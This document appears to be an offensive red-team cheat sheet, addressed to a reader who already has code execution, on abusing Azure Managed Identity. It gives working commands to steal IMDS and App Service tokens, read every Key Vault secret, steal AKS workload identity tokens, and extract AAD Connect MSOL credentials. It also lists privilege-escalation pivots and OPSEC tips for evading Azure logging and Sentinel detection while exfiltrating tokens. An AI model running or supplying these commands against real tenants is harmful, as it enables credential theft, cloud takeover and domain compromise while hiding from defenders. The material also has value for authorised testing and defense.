azure-managed-identity

DevOps & Security

Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credential extraction.

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Azure Managed Identity Abuse

You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.

Steal the token

Linux VM / Container

TOKEN=$(curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

Windows VM

$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token

App Service / Function (different endpoint, requires `IDENTITY_HEADER`)

TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
  | jq -r .access_token)

Common token audiences (`resource` param)

Audience URL	Use
`https://management.azure.com/`	ARM — list/modify Azure resources
`https://graph.microsoft.com/`	Microsoft Graph — read directory, mail, groups
`https://vault.azure.net`	Key Vault — secrets, keys, certificates
`https://storage.azure.com/`	Storage account — blob/queue/file/table
`https://database.windows.net/`	Azure SQL
`https://servicebus.azure.net/`	Service Bus

Request one token per audience — the MI assignment determines which work.

Use the token

# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"

# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .

Pivot patterns

MI permission	Pivot to
Contributor on subscription	RunCommand on every VM in the sub → fleet-wide RCE
KeyVault Reader / Secrets User	Decrypt all stored credentials
User Access Administrator	Self-grant Owner role anywhere
AAD App Owner	Modify app registration → app-credential persistence
Storage Account Contributor	Steal storage keys → SAS tokens (low audit signature)

Workload Identity (federated, no client secret)

AKS pods using Workload Identity Federation get a token via projected SA token + STS exchange. Steal the projected token from /var/run/secrets/azure/tokens/azure-identity-token, then:

SATOKEN=$(cat /var/run/secrets/azure/tokens/azure-identity-token)
TOKEN=$(curl -s -X POST "https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token" \
  -d "client_id=$CLIENT_ID&scope=https://management.azure.com/.default&grant_type=client_credentials&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=$SATOKEN" | jq -r .access_token)

AAD Connect MSOL (hybrid environments)

On a server running AAD Connect, MSOL_xxxxxxx in local SAM has DCSync rights → full domain compromise. Steal via DPAPI:

# Run as SYSTEM on AAD Connect server
$key = (New-Object System.Security.Cryptography.AesManaged).Key
# AADInternals does this end-to-end:
Get-AADIntSyncCredentials      # AADInternals — extracts MSOL creds

OPSEC

Azure Activity Log records every ARM call. Use Graph for low-noise enumeration.
Token TTL ~24h. Re-stealing is logged via the IMDS access pattern (visible in Azure VM monitor).
IDENTITY_HEADER env on App Service is process-scope — exfil it from a single trick command, then reuse.
Defender for Cloud + Microsoft Sentinel detect: "ManagedIdentityToken used from non-Azure IP" → exfil tokens carefully.

References

MicroBurst (NetSPI), MicroBurst-Cloud (Karl Fosaaen) — Azure-specific tooling
ROADtools (Dirk-jan) — AAD enumeration without alerts
DEFCON 30 "Abusing Azure Active Directory" — Andy Robbins